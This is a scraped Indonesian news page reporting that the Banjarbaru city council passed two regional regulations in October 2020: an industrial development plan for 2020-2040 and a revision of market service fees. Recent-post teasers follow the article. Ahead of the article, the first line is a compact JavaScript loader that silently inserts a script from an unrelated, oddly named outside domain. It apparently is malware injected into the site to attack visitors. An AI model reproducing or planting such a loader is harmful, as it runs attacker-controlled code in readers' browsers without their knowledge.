(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Tok! DPRD Banjarbaru Sahkan Dua Perda


KANALKALIMANTAN.COM, BANJARBARU – DPRD Kota Banjarbaru mengesahkan dua Rancangan Peraturan Daerah (Raperda) menjadi Perda, dalam gelaran rapat paripurna, Senin (19/10/2020) siang. Pengesahan itu dipimpin Ketua DPRD Banjarbaru Fadliansyah dihadiri Pjs Wali Kota Banjarbaru Bernhard E Rondonuwu.

Adapun dua Perda yang baru saja disahkan yakni Perda tentang rencana pembangunan industri Kota Banjarbaru tahun 2020-2040. Dan Perda tperubahan atas Perda Kota Banjarbaru Nomor 10 Tahun 2011 tentang retribusi pelayanan pasar dan retribusi pasar pertokoan.

Sebelum disahkan, Pjs Wali Kota Banjarbaru menyebut, tujuan dibentuknya Perda tentang rencana pembangunan industri Kota Banjarbaru tahun 2020-2040 adalah untuk mendukung pembangunan industri kota Banjarbaru dalam 20 tahun ke depan.

“Perda itu bertujuan meningkatkan kesempatan berusaha, kesempatan kerja, dan pendapatan masyarakat yang lebih merata melalui pemanfaatan teknologi. Selain itu, juga meningkatkan jumlah industri yang berbasis pada hasil karya intelektual dan tekonologi digital serta tetap melestarikan seni dan budaya yang berciri khas daerah yang dapat dijadikan branding industri daerah,” terangnya.

Sementara, untuk Perda tentang retribusi pelayanan pasar dan retribusi pasar pertokoan, Bernhard menyebut, Perda tersebut bersifat revisi dari Perda sebelumnya yakni Nomor 10 tahun 2011.

Karena Perda lama itu sudah tidak sesuai lagi dengan masa sekarang ini, sehingga Pemko Banjarbaru dalam hal ini melalui Dinas Perdagangan melakukan penyesuaian tarif dalam revisi terbaru.

Dalam hal ini, untuk Perda Nomor 10 tahun 2011 terdahulu, masih menyamakan seluruh tarif antara pasar yang beroperasi tiap hari dengan pasar yang beroperasi mingguan.

“Padahal saat ini ada subyek pasar yang beroperasi tiap hari dan ada juga yang beroperasi mingguan. Seharusnya tarif retribusinya juga beda. Sedangkan di Perda lama masih disamakan tarifnya.Hal itu berpotensi menimbulkan kecemburuan antar pedagang harian dan pedagang mingguan,” jelas Pjs Wali Kota Banjarbaru.

Sementara itu, Ketua DPRD Banjarbaru Fadliansyah mengungkapkan, pengesahan dua Perda telah melalui sejumlah proses. Mulai pandangan dari fraksi-fraksi hingga dilakukan kesepakatan untuk dilakukan pengesaham.

“Kami dari legislatif sepakat dan menyetujui dua Raperda itu disahkan menjadi Perda Kota Banjarbaru,” tegasnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

Al Ghifari

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

6 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

9 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

10 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

14 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

15 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

15 jam ago

This website uses cookies.